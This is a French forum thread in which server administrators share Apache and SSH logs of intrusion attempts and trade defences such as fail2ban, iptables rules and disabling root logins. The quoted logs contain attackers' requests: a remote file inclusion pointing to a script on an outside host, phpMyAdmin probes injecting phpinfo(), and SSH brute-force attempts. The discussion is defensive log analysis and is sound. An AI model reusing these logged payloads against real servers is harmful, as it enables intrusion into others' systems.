Piratage en ligne

[bobylapointe]

bjr,

je suis en train de regarder mes logs.
je vois un pti’malin qui fait des tentatives sur mon server web. comme

[16/Mar/2010:18:34:22 +0100] “GET //errors.php?error=http://nimh.snmh.go.kr//bbs/data/list/id1.txt? HTTP/1.1” 404 274 “-” "Mozilla/5.0"
XXXXXXXXXXXXXXXX - - [16/Mar/2010:18:34:22 +0100] “GET /index.php?admin//errors.php?error=http://nimh.snmh.go.kr//bbs/data/list/id1.txt? HTTP/1.1” 200 3569 “-” "Mozilla/5.0"
XXXXXXXXXXXXXXXX - - [16/Mar/2010:18:34:23 +0100] “GET //errors.php?error=http://nimh.snmh.go.kr//bbs/data/list/id1.txt? HTTP/1.1” 404 274 “-” "Mozilla/5.0"
XXXXXXXXXXXXXXXX - - [16/Mar/2010:18:34:23 +0100] “GET /index.php?admin//errors.php?error=http://nimh.snmh.go.kr//bbs/data/list/id1.txt? HTTP/1.1” 200 3569 “-” “Mozilla/5.0”

et ca continue de + belle
Comment coupé sa connection en directe a mon server?
Comment faire pour lui interdire l’accé a mon server web pour une durée X?
enfin avez vous des idées + interessantes?

Cordialement

ps: sinon y a bien le abuse mais il n’a rien cassé pour le moment

[kna]

Comment faire pour lui interdire l’accé a mon server web pour une durée X?

Regardes aussi du côté de fail2ban.
Si ton serveur est sous apache, tu peux aussi utiliser le module mod-evasive.

[lol]

Salut,
Si tu peux voir son IP tu le colle dans /etc/host.deny

Sinon des programmes comme snort, fail2ban, denyhosts…

[fran.b]

laisse faire et surveille, ça te fait un test de sécurité…

[ricardo]

[quote=“lol”]Salut,
Si tu peux voir son IP tu le colle dans /etc/host.deny

Sinon des programmes comme snort, fail2ban, denyhosts…[/quote]
Si l’IP est fixe ?
En général, les malveillants n’en ont pas qu’une

[lol]

Re,

[quote=“ricardo”][quote=“lol”]Salut,
Si tu peux voir son IP tu le colle dans /etc/host.deny

Sinon des programmes comme snort, fail2ban, denyhosts…[/quote]
Si l’IP est fixe ?
En général, les malveillants n’en ont pas qu’une [/quote]

Les “malveillants” ont plus d’un tour dans leur sac !
D’ailleurs, je crois que la plupart du temps ce sont des honnêtes gens qui sont les dindons de la farce et dont l’ordinateur sert de relais aux vilains !

Ça soulage (temporairement…)… Mais au cas ou ce ne soit qu’un petit rigolo isolé (je n’ai plus le terme en tête pour les jeunes pirates en quête de gloire) !

Il vaut mieux laisser ça à des programmes de toute façon. Comment lutter contre des “bots” a part avec d’autres “bots”…

Tu nous tiens au courant bobylapointe ?

[eol]

Ton post m’a donné envie de regarder les logs du serveur qui hebergera le site que je suis en train de faire et je suis tombé la dessus : 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compati85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phppgadmin/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phpmyadmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //phpMyAdmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //mail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //webmail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET / HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"ble; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:37 +0100] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phppgadmin/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:38 +0100] "GET //phpmyadmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //phpMyAdmin2/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //mail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET //webmail/config.inc.php?p=phpinfo(); HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 85.62.95.198 90.33.182.180 - [12/Mar/2010:20:07:39 +0100] "GET / HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"J’ai fait un [code]$ whois 85.62.95.198
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

% Note: This output has been filtered.
% To receive output for a database update, use the “-B” flag.

% Information related to ‘85.62.0.0 - 85.62.255.255’

inetnum: 85.62.0.0 - 85.62.255.255
netname: UNI2-NET
descr: Addresses IP for corporate ABI clients
descr: France Telecom España
country: ES
admin-c: HAF10-RIPE
tech-c: HAF10-RIPE
status: LIR-PARTITIONED PA
remarks: For complaints of abuse from these addresses
remarks: please, send a mail to abuse@orange.es
mnt-by: UNI2-MNT
mnt-lower: FTE-GGRR-MNT
mnt-routes: UNI2-MNT
mnt-domains: UNI2-MNT
source: RIPE # Filtered

role: Hostmaster Administrator FTE
address: Parque Empresarial La Finca
address: Edificio 9
address: Paseo del Club Deportivo, 1
address: 28223 Pozuelo de Alarcon
address: Madrid, Spain
admin-c: HA1066-RIPE
admin-c: HA1067-RIPE
tech-c: HA1066-RIPE
tech-c: HA1067-RIPE
nic-hdl: HAF10-RIPE
remarks: spam, abuse reports....mailto:abuse@orange.es
abuse-mailbox: abuse@orange.es
mnt-by: UNI2-MNT
source: RIPE # Filtered

% Information related to ‘85.48.0.0/12AS12479’

route: 85.48.0.0/12
descr: Uni2 PA Block 1
origin: AS12479
mnt-by: UNI2-MNT
source: RIPE # Filtered[/code]
J’ai du mal à imaginer orange (surtout pas orange d’un pays où je n’habite pas) faire ce genre de requête.
Des avis?

[o_b]

pareil pour moi. quotidiennement, des centaines tentatives d’intrusion sur mon serveur perso. de partout: europe entière, l’autre moité de chine ils testent tout: phpmyadmin, mysql, services mail et plein de modules concernant l’e-commerce.

[antalgeek1]

Et encore ce n’est pas grand chose par rapport aux attaques en force brute sur un ssh. Ca fait des logs longs comme le bras.
D’où l’intérêt de mettre en place des services bien sécurisés, faire attention à son code php (je parle pour moi car je ne maîtrise pas encore ce langage au poil), surveiller ce qui se passe avec des outils comme logwatch et des scripts perso.
Perso j’ai abandonné l’idée de faire le gendarme, c’est consacrer beaucoup d’énergie pour pas grand chose.
J’aime bien le manuel de sécurisation debian pour me remettre les idées en place de temps en temps.

Mais au cas ou ce ne soit qu’un petit rigolo isolé (je n’ai plus le terme en tête pour les jeunes pirates en quête de gloire) !

Tu penses aux kiddies ?

[Num_s]

[quote=“lol”]Mais au cas ou ce ne soit qu’un petit rigolo isolé (je n’ai plus le terme en tête pour les jeunes pirates en quête de gloire) ![/quote]Les “script kiddies” peut-être (ça sert à nommer à la fois la méthode et celui qui la met en oeuvre… )

édit: grilled par antalgeek… :smt003

[debianhadic]

Quels sont les logs à regarder régulièrement ?

Par exemple voici auth.log sur mon serveur : (je ne met que les tentatives ssh)

cat /var/log/auth.log | grep ssh
Mar 14 09:10:58 mx sshd[15507]: Did not receive identification string from 193.77.212.241
Mar 14 13:30:00 mx sshd[17496]: Did not receive identification string from 123.232.114.72
Mar 14 17:39:48 mx sshd[18267]: Did not receive identification string from 62.94.175.34
Mar 14 19:29:26 mx sshd[538]: Did not receive identification string from 123.124.172.109
Mar 15 17:40:18 mx sshd[514]: Did not receive identification string from 59.40.182.186
Mar 15 19:59:33 mx sshd[18962]: Did not receive identification string from 201.231.89.65
Mar 15 19:59:38 mx sshd[18963]: Failed password for root from 201.231.89.65 port 44752 ssh2
Mar 15 19:59:43 mx sshd[18967]: Failed password for root from 201.231.89.65 port 44903 ssh2
Mar 15 19:59:56 mx sshd[18977]: Failed password for root from 201.231.89.65 port 45015 ssh2
Mar 15 20:00:01 mx sshd[18981]: Failed password for root from 201.231.89.65 port 45326 ssh2
Mar 15 20:00:08 mx sshd[19162]: Failed password for root from 201.231.89.65 port 45446 ssh2
Mar 15 20:00:24 mx sshd[19168]: Failed password for root from 201.231.89.65 port 45595 ssh2
Mar 15 20:27:58 mx sshd[22854]: Did not receive identification string from 190.6.144.247
Mar 15 20:28:12 mx sshd[22980]: Failed password for root from 190.6.144.247 port 4981 ssh2
Mar 15 20:28:15 mx sshd[22984]: Failed password for root from 190.6.144.247 port 3198 ssh2
Mar 15 20:28:19 mx sshd[22988]: Failed password for root from 190.6.144.247 port 2269 ssh2
Mar 15 20:28:47 mx sshd[22992]: Failed password for root from 190.6.144.247 port 4980 ssh2
Mar 15 20:31:23 mx sshd[23389]: Did not receive identification string from 92.47.236.236
Mar 15 20:32:42 mx sshd[23519]: Failed password for root from 92.47.229.180 port 2085 ssh2
Mar 15 20:32:46 mx sshd[23521]: Failed password for root from 92.47.229.180 port 4821 ssh2
Mar 15 20:32:50 mx sshd[23524]: Failed password for root from 92.47.229.180 port 4882 ssh2
Mar 15 20:32:52 mx sshd[23526]: Failed password for root from 92.47.229.180 port 3215 ssh2
Mar 15 20:32:54 mx sshd[23528]: Failed password for root from 92.47.229.180 port 3372 ssh2
Mar 15 20:33:06 mx sshd[23530]: Failed password for root from 92.47.229.180 port 4162 ssh2
Mar 15 20:33:56 mx sshd[23663]: Failed password for root from 89.218.22.236 port 1396 ssh2
Mar 15 20:59:32 mx sshd[27050]: Did not receive identification string from 213.132.255.134
Mar 15 21:31:09 mx sshd[31408]: Did not receive identification string from 186.18.65.55
Mar 15 22:56:58 mx sshd[10316]: Did not receive identification string from 122.224.20.102
Mar 15 23:00:57 mx sshd[10886]: Did not receive identification string from 186.18.65.55
Mar 15 23:31:14 mx sshd[15031]: Did not receive identification string from 88.167.206.202
Mar 15 23:31:22 mx sshd[15032]: Failed password for root from 88.167.206.202 port 4181 ssh2
Mar 15 23:31:27 mx sshd[15036]: Failed password for root from 88.167.206.202 port 1731 ssh2
Mar 16 02:46:36 mx sshd[8665]: Did not receive identification string from 200.31.42.5
Mar 16 02:46:39 mx sshd[8666]: Failed password for root from 200.31.42.5 port 60588 ssh2
Mar 16 02:46:42 mx sshd[8670]: Failed password for root from 200.31.42.5 port 12211 ssh2
Mar 16 02:46:57 mx sshd[8674]: Failed password for root from 200.31.42.5 port 16940 ssh2
Mar 16 02:47:00 mx sshd[8678]: Failed password for root from 200.31.42.5 port 19474 ssh2
Mar 16 02:47:04 mx sshd[8682]: Failed password for root from 200.31.42.5 port 53831 ssh2
Mar 16 02:47:09 mx sshd[8809]: Failed password for root from 200.31.42.5 port 32816 ssh2
Mar 16 03:00:54 mx sshd[10542]: Did not receive identification string from 211.152.32.73
Mar 16 03:11:38 mx sshd[12153]: Did not receive identification string from 132.248.103.95
Mar 16 09:40:49 mx sshd[16052]: Did not receive identification string from 213.132.255.201
Mar 16 09:52:16 mx sshd[17606]: Did not receive identification string from 121.101.215.64
Mar 16 09:52:36 mx sshd[17608]: Did not receive identification string from 213.132.255.201
Mar 16 11:50:19 mx sshd[1345]: Did not receive identification string from 79.143.176.86
Mar 16 11:52:38 mx sshd[1613]: Did not receive identification string from 189.161.61.22
Mar 16 12:52:35 mx sshd[9703]: Did not receive identification string from 82.232.78.139
Mar 16 12:52:57 mx sshd[9704]: Failed password for root from 82.232.78.139 port 20874 ssh2
Mar 16 12:53:23 mx sshd[9708]: Failed password for root from 82.232.78.139 port 21930 ssh2
Mar 16 12:53:43 mx sshd[9836]: Failed password for root from 82.232.78.139 port 23099 ssh2
Mar 16 12:54:10 mx sshd[9845]: Failed password for root from 82.232.78.139 port 23957 ssh2
Mar 16 12:54:28 mx sshd[9977]: Did not receive identification string from 82.232.78.139
Mar 16 12:54:35 mx sshd[9973]: Failed password for root from 82.232.78.139 port 24798 ssh2
Mar 16 12:54:48 mx sshd[9978]: Failed password for root from 82.232.78.139 port 25435 ssh2
Mar 16 13:17:53 mx sshd[13220]: Did not receive identification string from 208.64.39.245
Mar 16 14:37:39 mx sshd[23769]: Did not receive identification string from 58.175.242.74
Mar 16 16:03:15 mx sshd[3209]: Did not receive identification string from 188.187.90.87
Mar 16 16:03:23 mx sshd[3210]: Failed password for root from 188.187.90.87 port 4105 ssh2
Mar 16 16:03:31 mx sshd[3214]: Failed password for root from 188.187.90.87 port 4234 ssh2
Mar 16 16:03:38 mx sshd[3218]: Failed password for root from 188.187.90.87 port 4341 ssh2
Mar 16 16:03:48 mx sshd[3222]: Failed password for root from 188.187.90.87 port 4451 ssh2
Mar 16 16:03:57 mx sshd[3226]: Failed password for root from 188.187.90.87 port 4600 ssh2
Mar 16 16:04:05 mx sshd[3393]: Failed password for root from 188.187.90.87 port 4715 ssh2
Mar 16 17:16:21 mx sshd[13001]: Did not receive identification string from 201.87.83.39
Mar 16 17:33:35 mx sshd[15177]: Did not receive identification string from 213.132.255.242
Mar 16 18:23:21 mx sshd[21862]: Did not receive identification string from 109.234.33.23
Mar 16 18:54:03 mx sshd[25863]: Did not receive identification string from 217.219.67.131

La plupart IP chinoise, ils n’ont que ça à faire ?

[Num_s]

Ça dépend de ce que tu as sur ta machine, et de ce qui est “visible” sur le net…

Si tu as du ssh: /var/log/auth.log est un bon début…
Si tu as apache: /var/log/apache/access.log (et error.log peut-être…)
…

[debianhadic]

Ces logs la je les regarde de temps en temps, mais comme il a déjà été dit, je ne peux pas passer ma vie sur ces logs … Pour l’instant je croise les doigts, et j’espère que fail2ban fait bien son boulot !!! (Sinon j’installerai Norton AntiVirus … )

[sylvain1970]

Tiens, çà me donne envie de voir comment trouver une règle sur le cas apache pour un regex avec fail2ban.
(pour le cas de eol)

[sylvain1970]

Comment coupé sa connection en directe a mon server?

iptables -A INPUT -s adresse_ip -j DROP
ou
iptables -I INPUT -s adresse_ip -j DROP
?

[Num_s]

[quote=“debianhadic”]Ces logs la je les regarde de temps en temps, mais comme il a déjà été dit, je ne peux pas passer ma vie sur ces logs … [/quote]Ne surveille que les “Accepted” pour le auth.log… tu vas voir… ça va drôlement trier!!!

[quote=“debianhadic”](Sinon j’installerai Norton AntiVirus … )[/quote] …
Ça me rappel une “quote” de dtc ça… … un truc du style “en même temps vouloir dévéroler un ordi avec Norton, c’est un peu comme faire sa compta avec Paint!!!”

[darham]

pour SSH, en premier je n’autorise pas la connexion direct en root et iptables ne laisse passer que 2 ou 3 ip. Toutes les autres sont refusées. au moins je suis tranquille de ce coté

Pour apache, j’ai surtout eu des w00tw00t qui m’ont posé problème mais encore une fois, iptables est venu me sauver.

[eol]

[quote=“sylvain1970”]Tiens, çà me donne envie de voir comment trouver une règle sur le cas apache pour un regex avec fail2ban.
(pour le cas de eol)[/quote]Je n’utilise ni fail2ban ni apache, mais ta proposition sera sûrement utile à d’autres.
Dans mon cas comme dans celui de bobylapointe, ils se sont pris des 404,
dans le cas de debianhadic, c’est majoritairement des attaquants qui espèrent que root aura droit de se connecter par ssh.

Dans mon cas, ce qui m’étonne, mais comme je n’y connais rien au sujet, il n’y en fait peut-être rien d’étonnant, c’est qu’il y a plusieurs requêtes par secondes donc c’est clairement un robot (toutes les lignes proviennent d’entre 20:07:37 et 20:07:39) alors pourquoi avoir mis les en-têtes d’un navigateur?
Ça pourrait-être pour espérer passer un filtrage plus facilement?
Les serveurs peuvent aussi être configurés pour rejeter certains user-agent (autre que ceux des navigateurs par exemple) ?